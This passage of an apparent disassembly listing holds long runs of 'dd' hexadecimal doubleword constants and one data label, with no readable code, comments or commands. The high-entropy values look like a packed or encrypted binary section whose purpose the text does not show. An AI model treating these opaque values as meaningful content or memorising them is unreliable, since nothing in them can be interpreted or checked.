0C03D07h, 90D62D72h, 18040EECh, 3E005261h, 9B642E93h dd 7D55E900h, 0E55BD3B4h, 0C1E47Fh, 0D79AAE27h, 44D2E335h dd 144B8F24h, 0EC10410Ah, 8F74E28Eh, 1182CBC8h, 15D1AC34h dd 2BA6028h, 1FCF9D10h, 10585180h, 93000F7h, 0EE386329h dd 9D43078Ah, 4117C22Eh, 28861FCDh, 44F58830h, 40410925h dd 565D54h, 0E4D03FEEh, 88268F73h, 8193E00h, 95DB68B6h dd 1C1F7565h, 0C76CBA97h, 9C6A2D6h, 0DA948448h, 3E0295F8h dd 0FA168BC2h, 1F4869D8h, 4CD01CC0h, 963037A0h, 84956A40h dd 16DAC611h, 4364EE00h, 4C2269Bh, 0C6609F52h, 0F02D97h dd 0AEFA0920h, 0A496AA7Bh, 677B07Bh, 0A1686300h, 6ACD1382h dd 0AAAE1371h, 1186007Dh, 30D9DBE2h, 2FFDA00h, 3E59153Fh dd 0F2E5872h, 0D6166A03h, 46D054CDh, 267877FAh, 0D4504500h dd 0B317C6ADh, 1C7A0176h, 72144FEEh, 317FC48Ch, 0C143E418h dd 0BCF57Ch, 212BA245h, 466A8664h, 0E71DEFF8h, 9A0075E8h dd 33964CCCh, 892000A6h, 0F7A3CB43h, 2A75FD03h, 240A84A1h dd 0D50030F0h, 0D63A85A9h, 0C1E5854h, 195955D9h, 8E03DB09h dd 0CE328828h, 0A430B0D5h, 3C920012h, 39951EA8h, 6700DC99h dd 29B7A57Bh, 0B6C35Bh, 5A07ED98h, 69DD0653h, 78BE4F2Ch dd 0D81B0D01h, 3070C70Ch, 819C9CA8h, 680AC944h, 261BDC4Bh dd 0E005A12Ch, 59920780h, 6FE7F39h, 0D6193C53h, 0F4F9410Eh dd 5601AFE4h, 1A1F0638h, 398301A5h, 4D6D8E13h, 3C1C6EC0h dd 2F813201h, 9730C4Bh, 0A8AFCh, 58058386h, 0B4ADA102h dd 622E7EF8h, 300026CAh, 1760AED0h, 444B00F6h, 3D42EF6Ah dd 4001208h, 0A9E0935Dh, 0C82374h, 0D6FE535Ch, 0DFF24C97h dd 7EFC691Eh, 55A90940h, 2616689Ch, 94A4A747h, 0DC01E7C0h dd 563BB0F4h, 4E1074F6h, 0D057C105h, 88C15250h, 0C010CD6Fh dd 0CE066E66h, 44AB4C5Ch, 20C84CE0h, 0BBE86903h, 71D99D04h dd 3818687Ch, 0C332850Ch, 941FE215h, 5C9CD7C2h, 6007831h dd 0C6A645D3h, 0F9226877h, 9AB02846h, 0E8EEFDh, 3661EC08h dd 5B58C03Eh, 6A4FF0C0h, 53D163h, 1D7E3138h, 0A4C85E05h dd 0EBE4A500h, 322D61A9h, 228000F9h, 72E7EAFh, 0F0956FB8h dd 3F410042h, 2FB9EE0Dh, 930728B6h, 9708A39Ch, 9180D837h dd 4B89AAh, 7095E926h, 479CE2CDh, 0C875EA00h, 0EDA1FC21h dd 25590004h, 34681573h, 5B000662h, 50FD7937h, 4AFE712Ch dd 66600055h, 98D99CF7h, 603A3F07h, 3CE0B272h, 0F5ABACCh dd 86FB4713h, 83FE05DDh, 9FEEC043h, 0DA7FAB37h, 305CBDE8h dd 0A2CA16B8h, 0EC35F845h, 15184000h, 94CE3426h, 5110C8h dd 57B5D4C5h, 698CCE7h, 0C06D9511h, 0C60008EDh, 7C867FFEh dd 286C3A53h, 0A43612h, 0EF02FC3h, 0E01158A8h, 54003A98h dd 0F22A7BB4h, 0F65AD2EAh, 494A00C2h, 89A9C815h, 0B709C744h dd 0A5FF3568h, 8835BB4h, 0E4679861h, 0F0DB0003h, 4DF9C951h dd 0D2093640h, 3C5B46h, 0BE1574F8h, 0B52034Fh, 0AFE359D3h dd 3E3F0788h, 191B8500h, 555DDE01h, 6CB700F8h, 8C22298h dd 48B8586Ah, 7D26EA00h, 0C809AE3Eh, 1E8A0086h, 122C231Fh dd 9D040313h, 163E8F21h, 0DD1AFC90h, 78242593h, 4F68B800h dd 2C7D610Ch, 4D990494h, 74CC67C0h, 0DE17046Bh, 881A61AFh dd 7816ECC0h, 7800DA37h, 9AC42E6Fh, 1C5C1382h, 1408414Fh dd 0E7B23419h, 0E3C232D2h, 0B9E2C460h, 0E4113A01h, 97AB2EF5h dd 0FA2AC02Eh, 0FC044ECDh, 144AB7B6h, 0CA80F087h, 1545BDCh dd 509EC9F9h, 0E059BB19h, 0F148D831h, 0BF4BD4h, 0D3520CE5h dd 0A3F29372h, 579C6601h, 7C214012h, 179718C0h, 0E3CE36h dd 0B01008B8h, 0D138123h, 0A8002ED5h, 1830C3BDh, 0F5503B9Ah dd 0E1217D00h, 0AC35364Ah dd 8A1D50B8h, 1E87BAEBh, 0DFA029AFh, 6579D5h, 2DB60B55h dd 16D6AA8Ch, 0C4A49407h, 61E0F12Ch, 0A63828h, 0D3CF3039h dd 58FFBA7Ch, 5A00E090h, 7FD0265Ch, 9222526Fh, 187C00FCh dd 1E13DEFDh, 0B0C2A2B2h, 90943DE4h, 49C694h, 6155F1D1h dd 3BBAE39Dh, 0D8E81605h, 0F500D396h, 0B42ED275h, 5F2E82Fh dd 23CE4360h, 86148113h, 0F7E93004h, 8D02A300h, 0E805E391h dd 0E6C338DBh, 0DC334D9Fh, 0A544066h, 189EA4B5h, 0EE00B474h dd 4740B894h, 7BD74CF7h, 0E4E95919h, 12243B04h, 6442818Ch dd 7A82C5Eh, 388AAFEh, 1F22CDE0h, 0CC0C49A8h, 60801C39h dd 8980E4Bh, 0D40055ADh, 0F0D04A92h, 391A6475h, 73815737h dd 53DB2B66h, 0F3CA30E4h, 0A6C23Fh, 765B1A8h, 0D026F25h dd 2AA07914h, 3FFE3028h, 841DA670h, 0D180C04Eh, 0A44BE3B3h dd 0D98A0738h, 0E0B69FEDh, 68A3C3F8h, 307190C7h, 0FB6DE1F0h dd 2C9089h, 7ECCF727h, 39C93551h, 52704901h, 42BCDC25h dd 0A203D040h, 27950AACh, 92848811h, 85A0C89Ch, 3055088h dd 496BAC3Bh, 6EC0EBF4h, 6002B56h, 79CD7DFCh, 2C19D901h dd 0F99491h, 2BFDA3ECh, 0F00053AAh, 529549B2h, 6A7563h dd 238C8EAEh, 0A9E6262Eh, 0C89E2F00h, 0D26F96EBh, 4F8900BDh dd 215B228Dh, 8300A6DBh, 18EDCC3Bh, 0B0E5E00Ch, 0D7CE0016h dd 822E5FF5h, 373F234Bh, 0A57D1297h, 0BAB32400h, 0FA1345h dd 0EC6E4857h, 0F4CD5D42h, 3E53B600h, 9E44D268h, 9D220027h dd 0E12F49B1h, 0AC0BF377h, 8E8ACFE7h, 0B53E807Ch, 4D5C63h dd 0EEFE0B20h, 1C55A53Ah, 0F1CDE000h, 0A2FC8632h, 644C00F0h dd 9703A4A8h, 0E97621B8h, 22A440E9h, 684DBC3Fh, 39740928h dd 73E0C8AAh, 90B4A379h, 358930h, 0EE0309BCh, 559DF47Eh dd 29706C1Eh, 6785C985h, 5DD3BC00h, 0C4EC12h, 615BDB64h dd 0FB203A0h, 5EEAA479h, 70262200h, 843F3A1Eh, 0B81F121Ah dd 174901FCh, 0FF931066h, 791C25B8h, 40DCBE00h, 87BC0568h dd 7132040Ah, 0C042D3BAh, 0EBF1A7D2h, 68AEA400h, 8993421h dd 59727E8Ch, 5700A043h, 38D865DAh, 91031583h, 45B98774h dd 13DCC86Ch, 0B5CF0361h, 0EFF46E92h, 1EE632A0h, 8F018894h dd 4782544h, 0BC0C9BC4h, 9A885F98h, 0C21E803Bh, 5FECF5CFh dd 0FD403CBCh, 804B2569h, 0F75CCEF1h, 94225B4Fh, 14BA19FFh dd 3E49FAA0h, 941F40BDh, 0A76700D2h, 16196EA5h, 0FFC7E100h dd 18F289B3h, 12F8735Eh, 0CED29768h, 0A350603Ch, 2C8A5A8h dd 0CEEE0948h, 745A68F4h, 0CC4841FDh, 0A4E26018h, 0C0F828C0h dd 8716D8h, 9DE44E03h, 8E926E58h, 80003E76h, 8ACC1BBAh dd 0FA1A35E0h, 0F4A40F63h, 401E6B1Eh, 67EDE6C7h, 243F6653h dd 0CB569418h, 528A1CB4h, 22902940h, 68D243h, 4EF87FBBh dd 31D547ECh, 0DB7A4F00h, 543B48E4h, 935100B5h, 14B70D07h dd 0FC0EFFD6h, 0A1794D7Ch, 19323520h, 5B4907D0h, 3A2CFC58h dd 0A4528256h, 0C0919DB2h, 66B5C93h, 0F2644708h, 0BE00F9A1h dd 2742D718h, 65693803h, 0F0B3091Fh, 1000DEB0h, 8C7D35D7h dd 0AAD3999h, 7BD1A08h, 0A25B81ACh, 88A4553Ch, 8C20920h dd 53969E6Dh, 88202E1Bh, 80C0EDC9h, 1D199E77h, 0D296EFCh dd 17280D8h, 18631295h, 0D16CE2ECh, 0AB21801Ah, 485980F3h dd 7AE10B8Ah, 2D724A7h, 84675B0Bh, 6606A6Ch, 272340D7h dd 0BB1133h, 0C6D71EE4h, 9EC5CBh, 22955F3Ch, 45F3F98Eh dd 0A9A4A0C1h, 0B087CE4Dh, 50A85E96h, 94F13AE5h, 97862800h dd 0C55A2540h, 676D0059h, 918726B1h, 3D001439h, 0F4CBA989h dd 73C207A5h, 0AC6B003Ah, 0DEB978DBh, 8AB8FE03h, 0EB003478h dd 0E8648F0Ch, 0F0956F26h, 0C6271C44h, 0AA8140EDh, 0AC8F9624h dd 896098FEh, 0A8B2CDFAh, 0B5CC32C1h, 0E0FD7709h, 3B6F810Eh dd 0CD807341h, 0D98B6748h, 0B4006854h, 0EEA26AD8h, 0E0C6ACh dd 0BD1FDAA3h, 0F8CE2F4h, 0B715C300h, 2A3C6470h, 6F9E06AAh dd 11EF694Ch, 0F20078E8h, 15EACE13h, 98D171F9h, 0F1E200B9h dd 8906395Eh, 0D30CC7BDh, 0F6331E7Bh, 90B007C3h, 9E7EBB02h dd 27F52500h, 0A030DEB3h, 0CFB579D1h, 0EA3500A9h, 0D618970Ah dd 2900E5B6h, 0D10D76A1h, 31D7442h, 0D0C5AC70h, 68130EC0h dd 52002D82h, 6B99CA27h, 6F67A2Bh, 34067A01h, 21078019h dd 0F96CBC23h, 15137600h, 88B003Fh, 22641AFAh, 796E1E31h dd 0F3E42051h, 268C1Dh, 0E3464CC3h, 0AA3F33B1h, 1AE220h dd 0F8244B7Fh, 0E41C7198h, 60729503h, 0AEC59C5Ah, 0FF900349h dd 12A283Bh, 325F1000h, 217204FCh, 0A42D0043h, 42EB3B6Eh dd 680774AFh, 0B87A633Ah, 0B0821563h, 580FC17Ch, 0C5005EECh dd 0ADE8C468h, 4F280467h, 0D6E2DCE5h, 7600BCE6h, 66AAD5FBh dd 0EA2A60h, 0FCFF831h, 3C39D818h, 0E8DFA018h, 6EFCB48h dd 451CD16Ch, 100099F2h, 0C2B5AC7Eh, 80DD2Bh, 0B756BFC6h dd 0B3C0993Bh, 9CB85500h, 0B263045Bh, 0F5E0A854h, 1EDFF4A5h dd 81EF0110h, 5EA0249h, 0A091E0E2h, 62B4C90Eh, 99803D4Ah dd 0D2FE087h, 54050CF0h, 9B04913h, 88BB2A00h, 0D1C679A7h dd 0EBDECF3h, 158BDF25h, 5A3A4B20h, 0F1EAB156h, 1B7DA100h dd 0BA6296FDh, 74A82C95h, 5BA200D1h, 0DD6C651Ah, 0F90021B8h dd 0D092AD9Bh, 0E821E699h, 798B02AFh, 0A7D60EFDh, 3E18882h dd 0D36C9520h, 0F876D5h, 0DEDBA1CFh, 8AE1613Ah, 6F3EC100h dd 74F0402Ah, 0E38101D9h, 8CFD55BEh, 4F845039h, 8F00DA7Bh dd 3C19846Bh, 1C3475h, 91F8FEC8h, 53709098h, 77108B0Ch dd 0B7E092h, 5609E16Ah, 0C8786D48h, 65E4D10Eh, 481FF26Bh dd 0DBDF00F9h, 0B879AD14h, 0CBD12687h, 0AD60B00h, 0D57FEA80h dd 750FD7D4h, 0E0A06A09h, 73DDE0BDh, 0C5620012h, 98F2ADDBh dd 7FF8DEF4h, 0B65CA8C2h, 40B5E082h, 56CB00EEh, 3076BED5h dd 74013F9Ch, 0D2663628h, 0DEF80C46h, 9A130E5Fh, 0B1A0B7FDh dd 0B68D1C2Dh, 1FA1F000h, 0D8A7B2Fh, 0E5E704F7h, 90C1F3EAh dd 34C0758Ch, 0C7F07C90h, 0DF412500h, 7E1744E0h, 0EDB8A0ECh dd 0E8F70009h, 9A200882h, 0B6042AEBh, 48BC631Dh, 9BE030D7h dd 24DC18A7h, 1D078AB8h, 5F60F003h, 0D10019ABh, 71C1BDA6h dd 0B9B2B54h, 311C873Eh, 0A0CEF601h, 8ABEC03Ah, 0C27DDE03h dd 989C1F5Fh, 0E66A5896h, 2E21DCDh, 7516C068h, 110CF1CFh dd 6B44EF00h, 103DCE3Ch, 56FF0054h, 22BBC0D4h, 3E000DF7h dd 77264744h, 30856229h, 4CF42F02h, 3A00A2EAh, 1037C518h dd 1CAFB639h, 806E21C2h, 33B41E71h, 65012AC0h, 0CA05C6AAh dd 0BB70FF17h, 807800A5h, 0DCE80E92h, 8C00ED86h, 2F1596A7h dd 0FCCD2E01h, 62A1004Bh, 3B5BD519h, 0CE022A4Ah, 0FE2DFB3Fh dd 0A2A88077h, 3962D6h, 0BD4879C0h, 651D6A70h, 0C452B600h dd 2FB74B9h, 105A026Eh, 7824CD7Ch, 0A47AB046h, 0E899FA00h dd 869BC275h, 77A3002Bh, 6B47D202h, 2A008578h, 953AE3CAh dd 7EDE8D6Ah, 3E72FAB6h, 0A818148Ch, 295C8875h, 0BC3EC604h dd 0FCD03228h, 58A6E9B6h, 9C000072h, 0A8C6BB22h, 0C77CFE81h dd 690098E6h, 92843682h, 0FC08A532h, 0DD911DF7h, 9BD2A3h dd 8FB34998h, 52C0EDBEh, 41D63B9Ah, 3D0838F4h, 66B0D002h dd 0E84811C3h, 0C10076C9h, 71515FC4h, 5441B667h, 2C9029h dd 0BC6B0491h, 7F03D8DBh, 0A6EB1A1Dh, 0DEF01300h, 0F2200BCCh dd 112C01A2h, 63C519Ah dd 1F2DE8ABh, 47002498h, 82C1AA0Bh, 0F461C35h, 0E40C8F4Dh dd 549BC8C0h, 9F2C9416h, 0F601A073h, 6E25B284h, 5056B8C4h dd 1CBE46Fh, 0ED185EA7h, 0F47B7CF5h, 0D103DFCEh, 0E546F9B4h dd 9D30D84Bh, 0E8EE00BDh, 2A0560ACh, 0BE0041D0h, 0D53CFCBCh dd 0FB0D39h, 961C47F8h, 1215C499h, 0E70E1AFCh, 0E01079C2h dd 0E40A7C32h, 0AF7D0ECDh, 0ACAFB273h, 63BDFAA0h, 1203A360h dd 14DD1A58h, 0A01CE3D9h, 0B8402E7h, 4371BFDAh, 54952080h dd 0D604C544h, 0ABE3976Bh, 6E01F490h, 20B2E9h, 0EAA2770Dh dd 8CBC7309h, 0B062FA07h, 0A0F012DAh, 2FF42ECh, 2C1E9202h dd 9080F19Fh, 0D6A68EAEh, 0A3FB7803h, 0D03EB8ACh, 3D80B67h dd 0E108E9F9h, 97E860FDh, 6F011819h, 282F9216h, 9DCC3062h dd 2E020006h, 1336BE2Ch, 4C03E0E1h, 45E654E3h, 17D8E068h dd 723D00FAh, 0C2236B7Fh, 3F03A08Dh, 90AD320Bh, 7B80BF0Ch dd 0C788E7h, 11595A40h, 192D0766h, 75C81006h, 398D01h dd 69C37DFDh, 0FA4A4D39h, 0F960B100h, 774B07D3h, 0BB5C002Ah dd 0ECD250D4h, 0F700FFCDh, 0B59BDC43h, 1EE8E2D3h, 0D74AEFh dd 88F2BABEh, 7EEC4566h, 0A008AA00h, 36A88184h, 350B1DD7h dd 3F14A6A4h, 0FC936707h, 9910E1CDh, 0ACC84026h, 8B27118h dd 0E6ECC700h, 89D0C66Ch, 0DCD21CBEh, 0A3C1C3E5h, 0CEB86D8Dh dd 2F79C08Fh, 0D8CFE400h, 28B48BAAh, 0C4FB16DAh, 0C1FC60C2h dd 0CC1842A5h, 9B6170F0h, 7408C0C7h, 2811E848h, 3A90423Ah dd 6CCF0AA7h, 0DE321034h, 72F068F1h, 40A70E79h, 0A58E6164h dd 0D54A5A82h, 426C1082h, 4EA02CA4h, 3D0E8098h, 8D1745h dd 0D5182316h, 5B2C50B7h, 6C54C800h, 80EE4B58h, 0DB4A0BC7h dd 0A480A079h, 740E5EFCh, 60C24130h, 14A79164h, 3490F16Fh dd 9FBB1108h, 8CE5520Eh, 7A2A7070h, 664CA14Ah, 3A21584Eh dd 0FEA86240h, 7D70004Fh, 19F60824h, 337D723Fh, 0C9A2A401h dd 6B7530EAh, 0E47FBEDCh, 0B55600C7h, 74C4A03h, 0CB04D4B9h dd 0E949D7D6h, 0BF6601C0h, 81CF07A4h, 0B0AF8E6Fh, 88B88DE4h dd 0E5F65100h, 0E713C377h, 8FDE0069h, 0F5411F0Eh, 7B07FE14h dd 0F1D2DB42h, 729EEC0h, 0EBF8345Fh, 3BA100B0h, 3955C6A2h dd 0BCCCA000h, 0BDC92DECh, 10B858F1h, 1ABE526h, 0F02671F7h dd 4A38D03Bh, 20732500h, 0A96B3D42h, 134075Ah, 0F05E675Ch dd 0E2E1963h, 0ABCF8B00h, 42C18737h, 8FE0E5EAh, 0F1A00073h dd 0C964349Eh, 800E6C40h, 405FB365h, 7208F0D5h, 0A1820EA4h dd 0D660D7EBh, 0EA9C74BAh, 0F9C0290Eh, 0C7EEA0C5h, 5C8768B6h dd 1C007001h, 9F23ED3Bh, 2D00C0CEh, 0A4F29DBFh, 53A2C7h dd 7AFB7CB8h, 6AC14071h, 7498B6B8h, 0DF7F6EF2h, 247058h dd 5232A58Ah, 0B201C56h, 9AE62749h, 0DAC67800h, 67F6B726h dd 304F4700h, 49629AEh, 801F5437h, 2C726Ah, 0F0316D84h dd 0FB92E561h, 5F0973E4h, 0B9DFEC02h, 0A4F1F740h, 0EF1C7882h dd 0E240BE7Eh, 0F0004890h, 9811191Bh, 0B508F8Ah, 0B8C5C99Dh dd 9520800Eh, 19599F06h, 5EA03C1Dh, 68876C6Ch, 8CC42F73h dd 0F83CA0h, 0B76B980Eh, 92F5C448h, 9944DF01h, 1B512141h dd 0E90C8C28h, 0E43081D3h, 26173777h, 0C808D586h, 0C8384557h dd 0F61EC4E4h, 5E0082B5h, 63F487DAh, 457A46h, 343F0A77h dd 0ABC42C61h, 940B891Fh, 66E18083h, 84E807EAh, 0A0791FF3h dd 39D27D2h, 98069400h, 0D6D893D5h, 0A4731CAAh, 25580EEh dd 4969ABFDh, 0B643B00h, 4572FE4h, 0F225984Ah, 6AAE00FCh dd 54DA5B4h, 70006CF8h, 21181FC0h, 183D3157h, 78978502h dd 0EF1C1069h, 0AC0D329h, 0BF2CEA8Bh, 0AD0B05FAh, 0D4DBFEh dd 0D2BD75B4h, 0F5C8144h, 4387011Ch, 9B58A665h, 0AB5CF4h dd 69374183h, 0F25FEA9h, 27EED7E4h, 93A15A03h, 0A1BB7013h dd 0A046D421h, 27CB256h, 0A4E9F49Bh, 605070B4h, 88C39A00h dd 0F910CF13h, 0C698D5h, 0DE0C8B89h, 28085F2Ah, 395A1C09h dd 1250C094h, 3AA001Ah, 0DB771F45h, 2E301536h, 31D45121h dd 0FC791F75h, 425C005Fh, 102D6B5Ah, 9F023C00h, 0C51828ACh dd 0F4F61E34h, 1BCC004Bh, 205B44AAh, 2F0E0600h, 7EC7799Eh dd 0AC21E516h, 0E25CF8h, 358EDD62h, 28514D24h, 0FFCEB900h dd 0F6598CC3h, 3FB400A0h, 14B3BCC2h, 5E04F14Fh, 99346F4h dd 0A1D80180h, 63F60025h, 4E065431h, 952CB87Ah, 5A9520B7h dd 5694E8h, 9DC17573h, 0F678D0h, 0D51EBACh, 62B2DF8Ch dd 87E6BC0Eh, 0FD38A0CEh, 2ADE843h, 0C0EDD168h, 38E8EB14h dd 2E005237h, 2DE5B77Eh, 9F6D8F9Fh, 473140D0h, 0CAE494B9h dd 3A6D834h, 57A4D26Fh, 0B2A84C54h, 0A139E688h, 503BC8h dd 7B0E86ABh, 0FED8E81Bh, 0B024FDA4h, 49E300E7h, 0E1CAEB0Ch dd 3860B0D0h, 7F42DB38h, 36430076h, 92EB2229h, 4012BB2Ch dd 34D3D37Dh, 0DB4CB19Ah, 32E080DAh, 0F45B3BEBh, 7E986Bh dd 2DCEE33Ah, 90DA111Eh, 0CBEA1800h, 0F26B222Bh, 896900A3h dd 0EF3C57FDh, 1006538h, 541F2843h, 1CFBBC1h, 4D233A32h dd 0C45D197Ah, 0EF0092F2h, 0FB7EDF80h, 3B3CCA24h, 0F0B541h dd 0EBCCD0E9h, 0B085F870h, 0A213CD76h, 0FC01FE5Eh, 8CAF58C1h dd 9A422460h, 0F3890508h, 430D7A15h, 0AA58E1B8h, 0A5620BD0h dd 0C448A03h, 98D6B741h, 205FFA4h, 0EC746C85h, 72C0B392h dd 0DC16A044h, 58808F13h, 0A8D9B2h, 0A1989E40h, 0A96FBDD7h dd 7D8BE100h, 0CF615A7h, 25D90032h, 8D849BE3h, 172442B2h dd 0E68024B9h, 0F0D815FAh, 0A5960005h, 4CB65ABFh, 0F312CA7Ah dd 0F008EF1h, 50FEC72Ah, 0C29006BCh, 0C0077848h, 0D8644A03h dd 0E4C89C5Ch, 7FA460A0h, 0FFB624E8h, 643183C0h, 6AA016F8h dd 0FB606217h, 5E2CE719h, 28E249F5h, 0CF610F00h, 96AE6F63h dd 945B54C1h, 0EC4032ABh, 759A7A65h, 0B2C630E4h, 0AD700D3Ch dd 0D0F2C9F7h, 3096EE81h, 0F501803Ch, 542AC031h, 762D0016h dd 0E9F9661Bh, 32E6A51Fh, 2C08581Dh, 96F780BEh, 35C37CE3h dd 87A00012h, 9E4D9CA4h, 5275E791h, 0F417B200h, 7CF80924h dd 0F3A90063h, 0FCDEAFFh, 0BD00BF5Ch, 1865BC3Eh, 0F7A008h dd 15756EF0h, 21444169h, 0C0B7F604h, 0DCB0662Ch, 0ABF40008h dd 64E0C593h, 0F100F7BCh, 0CBD3EAD7h, 0F55369h, 0D9CFED5Ah dd 0A3B01BBh, 80FBCD38h, 0B385719Ah, 73E2E29h, 0E2D1D834h dd 0C6F1405Bh, 9F02A4CAh, 0FEA1CFBDh, 0BA60C004h, 1DEDEE3Ch dd 7E115Dh, 0E26EF3D7h, 61003F55h, 0AD6D3051h, 0E723947h dd 88295409h, 872DE207h, 16BC103Ch, 7300347Dh, 0CCE90789h dd 742E71h, 4AF8C11Dh, 9CC45C33h, 0F91CE800h, 1B8A72B2h dd 2A82F62Fh, 0B0ECDAB3h, 1EFF1E4Ch, 0F18C8BBBh, 872BF420h dd 0D1002156h, 92C668D8h, 139A59A7h, 4B76D36Eh, 0CC406D64h dd 7B009744h, 94C84FD6h, 9860A9h, 0CA50D964h, 9B45A39Eh dd 59D2670Eh, 70C7406Eh, 12429009h, 90306CCBh, 0F1D34C30h dd 889FFD01h, 8233DD99h, 1DBC18AEh, 6CCE04A6h, 19D63237h dd 0A0811361h, 0FE6A76B9h, 0BE98005Ch, 37EED18Ah, 5EE4956Ch dd 0A28F111Eh, 6E2D18C0h, 0FC5BC189h, 0E8810022h, 0F54AEAB5h dd 0D900A2A7h, 0C85D2C53h, 6F4268h, 9CD6955Ch, 0A8644D74h dd 66B81318h, 1316970h, 45771B70h, 0F19409FFh, 440C4071h dd 0A44B1198h, 8BF13060h, 287261E8h, 0D0996640h, 501464BBh dd 286C2B4Ah, 1650906Eh dword_536858 dd 0D71C0F98h, 0BE9872h, 0EB366DEEh, 544BCD2h, 0BA0C3E0Ah dd 0CC34C0BEh, 54073AD4h, 0D37EFE52h, 77ADED50h, 3B53FEE2h dd 299D648Fh, 0F56E812Ch, 0C0E8CB9Bh, 792525BAh, 1CE3F028h dd 8E246537h, 0DF878E80h, 2D66E07Ch, 6C07C081h, 1A9AB991h dd 55404337h, 7E8DA6FAh, 0B6E51CD1h, 67328052h, 900F358Ch dd 0A3669300h, 4A6F0BB9h, 111D008Fh, 504CED6Dh, 3E2674CCh dd 4838A773h, 74623EDAh, 7201FCBAh, 55C00C60h, 0FDF5A2F3h dd 17041983h, 0C190EE27h, 26042925h, 1824381Dh, 4F12AEC1h dd 0D26930h, 0E573A5F7h, 0CC5DA2EDh, 0AB001C92h, 42D52E4Eh dd 33701160h, 0CF08A84Ah, 0A5082100h, 7AF1802Eh, 2C5D05E3h dd 82EB8473h, 7CE8E5C4h, 46009C9Dh, 0C9BCE683h, 32F33242h dd 4F70FEB6h, 78C85C50h, 2E40C09Ch, 0B046422Fh, 0A00D922h dd 926C2EBFh, 306866F2h, 88509F8Eh, 9029106Bh, 0BB398C03h dd 0E416983Ah, 207CCA20h, 0AF987F4Ch, 188C2E30h, 0FDA87B42h dd 7075C700h, 8562CCF0h, 0C0356610h, 0F38E40Dh, 76FA63A7h dd 0DFA2CA00h, 1E003A33h, 0C85F112Eh, 2FC327Dh, 105D26B8h dd 61C07FD9h, 0EF00242Fh, 7E4939A4h, 762360F6h, 0D43C13D3h dd 6A0F0017h, 39E9A66Fh, 430E6C01h, 4613A3A8h, 9FCD2D4h dd 0F5E34EAh, 93922A80h, 0F51C4256h, 1283AA06h, 0A1479C64h dd 39D8911Fh, 0F2D200E4h, 0B24EA811h, 380E58B1h, 8088228Eh dd 12778BB6h, 1E69FA17h, 1DB81110h, 6FA14007h, 6AA41D04h dd 0A0190800h, 0A59D4F40h, 0B741Eh, 93FD709Fh, 9B0569B7h dd 386AB400h, 0F09CBE21h, 0E69900B2h, 97B5F3E2h, 5B00D0E0h dd 0D7B1A977h, 0FA60FBh, 826BEFB2h, 292DFE45h, 40071BE8h dd 34650896h, 387E0540h, 0AC90363h, 6976A281h, 37AF20F7h dd 0BC00AEDFh, 58A4B6D2h, 0B0DEB256h, 0DDD600C4h, 25A39251h dd 7B03618Fh, 0D56C9B78h, 9293BD9h, 0A3050A83h, 47E0BD72h dd 0BB006208h, 0CE82E45Bh, 0E5FB0Eh, 0F917FAD2h, 25DF6AC6h dd 85BE38h, 0F85B726Eh, 8032D5h, 1D3F2042h, 8688F612h dd 57B55101h, 0C5FC16F0h, 0B87A0FF8h, 0C4CE07E9h, 0C0433F80h dd 0E5DEF45Eh, 568CD00h, 0B6FE8DFDh, 5CD500BEh, 5B252CF3h dd 0F40094CCh, 0E71C652Ah, 136DC8h, 587CAE09h, 73716F96h dd 94C4AC00h, 0D0050B49h, 0F35400ADh, 2B4B1DC0h, 3A00CFE0h dd 62E386A0h, 3DA1466Eh, 0C400F9F1h, 108B80CAh, 0A60BB35h dd 2205D52Ch, 0C0F13F86h, 5D655C80h, 0FC465BEAh, 0E3398A0h dd 0EC00FA78h, 1C0C395Ah, 665370h, 74A14BC7h, 0DE5128Ah dd 9E60A062h, 0A0720BEh, 0B807DDD4h, 280CC0BBh, 0ACB23780h dd 516628BDh, 0B40200EBh, 634A105Fh, 6D504FE5h, 8C00DBD8h dd 0E21C1B9Dh, 7D0367A8h, 125903CAh, 5E559481h, 649A1980h dd 0B54E0100h, 4CDC88AAh, 0DDC90149h, 0BFB98EBEh, 0D085F43Bh dd 6EDE5E03h, 0A59591B4h, 8EC3A806h, 0DD1F0068h, 0DB62B80Eh dd 0E1E4E9FBh, 0AA919600h, 1CABB39Dh, 0E46F03EFh, 407DEE4Dh dd 9FC1603Fh, 0B7C28D9Eh, 0E36AE046h, 0F189F8BCh, 1ABC1CA2h dd 6284CFAFh, 533B0E03h, 41E81BE8h, 19836F24h, 8D192100h dd 110F79Fh, 1CF3C275h, 0C041C4FFh, 100D1F1h, 6244C152h dd 9035D5E5h, 0BBF405D0h, 417019EDh, 0D15005D4h, 6232D077h dd 146F6C02h, 48FE8590h, 7E98ACh, 55AC2CEFh, 5940284Eh dd 4D90A8E8h, 5B008AFEh, 299BCD34h, 6BDCCAh, 8B81B097h dd 0D70E706Dh, 0B750D1ECh, 3100FBE4h, 795FE1A9h, 3682C56h dd 8F461E3Dh, 9FF8805Eh, 9E02251Ah, 265A1D8Bh, 0C0884035h dd 0F265008Ah, 0C3F5FD79h, 1903AD98h, 89A897D3h, 0E9CA987Dh dd 0EF060A9Dh, 80C8DB70h, 7A447F27h, 0E9C0F6CBh, 43C968E6h dd 1E800E5h, 0B721B8D7h, 0CD285E3Dh, 3102C850h, 88C2EF9Dh dd 933C48A4h, 963200DCh, 0B257E904h, 0A230517Eh, 0EE531E1h dd 0B4190066h, 0D2209490h, 0D500A68Ch, 546ED3E2h, 0D8C29Eh dd 0F907F13Dh, 0C4989EFh, 14C9FE00h, 4336611Eh, 0D1A7009Fh dd 88759EF3h, 0A0034C30h, 59C23870h, 0BA19E07Ah, 7FA97B18h dd 0E68100C3h, 3754619Eh, 5D14675Eh, 71A4B332h, 0E2258BDh dd 5C6A96D6h, 99C4BD00h, 3800E680h, 0EE5AD75Bh, 8F520Dh dd 51144BC9h, 5F3AE2BEh, 2E29CC61h, 588E3C92h, 336F03Fh dd 7CE00F8Fh, 3464E5DAh, 4D6A8000h, 0E604F3A7h, 0AA72098Fh dd 1B806C24h, 0E8AE9A60h, 0A425020Bh, 5B9E03DFh, 38EDA0A2h dd 2AEF09FCh, 4404347Fh, 0FEC200C7h, 3E415E8Dh, 50FF33CFh dd 0D6E0F8h, 74E01139h, 5B1F9D59h, 3FF62400h, 949A4D70h dd 73F800DFh, 0EC015566h, 0D971690Eh, 0C1EA8702h, 4431515Bh dd 5A4D0758h, 6674E649h, 0AA00E892h, 7E54D14Fh, 2F7F8A8h dd 58B4F99Ch, 849093CCh, 281C8F45h, 0FD007533h, 3469E1DEh dd 0AD240070h, 0ACE84F05h, 1C023A1Dh, 0F412AAEEh, 0D4BEC068h dd 0E00B60C6h, 86EF4610h, 62C4490Fh, 0A60F809Fh, 908752A7h dd 0F2430448h, 9017B3A2h, 3333550h, 7CEE0800h, 2F8FEA82h dd 